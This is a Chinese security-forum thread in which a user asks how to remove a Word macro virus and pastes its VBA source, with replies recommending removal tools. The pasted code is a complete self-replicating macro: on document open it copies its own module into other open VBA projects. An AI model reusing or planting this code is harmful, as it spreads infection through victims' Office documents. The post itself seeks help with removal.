首页
社区
课程
招聘
未解决 [悬赏]office文件中了宏病毒,请大神解惑此类病毒如何排除 10.00雪花
发表于: 2017-6-21 11:14 2826

未解决 [悬赏]office文件中了宏病毒,请大神解惑此类病毒如何排除 10.00雪花

2017-6-21 11:14
2826

以下是VBA代码,谁能帮忙看看如何消灭这个病毒。

http://pan.baidu.com/s/1kVt9EdT



Private Sub Document_Open()
Dim MACROTEXT As String
'Dim AA As VBComponent
For I = 1 To VBE.VBProjects.Count
On Error GoTo 11
 P = VBE.VBProjects(I).FileName
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

 R = InStrRev(P, "")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 Set AA = VBE.VBProjects(I).VBComponents(1)
LOCALLINES = AA.CodeModule.CountOfLines
MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
 Exit For


11: Err.Clear
Next I

For I = 1 To VBE.VBProjects.Count
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
On Error GoTo 12
 P = VBE.VBProjects(I).Name
 R = InStrRev(P, "")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
12:
If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
Err.Clear
Set AA = VBE.VBProjects(I).VBComponents(1)
 AA.CodeModule.AddFromString (MACROTEXT)
 
 End If
Next I

End Sub

Private Sub Document_Open1()
Dim MACROTEXT As String
'Dim AA As VBComponent
For I = 1 To VBE.VBProjects.Count
On Error GoTo 11
 P = VBE.VBProjects(I).FileName
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

 R = InStrRev(P, "")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
 If B = C Then
 Set AA = VBE.VBProjects(I).VBComponents(1)
LOCALLINES = AA.CodeModule.CountOfLines
MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
 Exit For
 End If

11: Err.Clear
Next I

For I = 1 To VBE.VBProjects.Count
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
On Error GoTo 12
 P = VBE.VBProjects(I).Name
 R = InStrRev(P, "")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
12:
If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
Err.Clear
Set AA = VBE.VBProjects(I).VBComponents(1)
 AA.CodeModule.AddFromString (MACROTEXT)
 
 End If
Next I

End Sub


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 242
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
2017-6-21 11:16
0
雪    币: 210
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
去百度下载office宏病毒查杀软件
2017-6-24 21:45
0
雪    币: 210
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
很好用
2017-6-24 21:45
0
游客
登录 | 注册 方可回帖
返回
//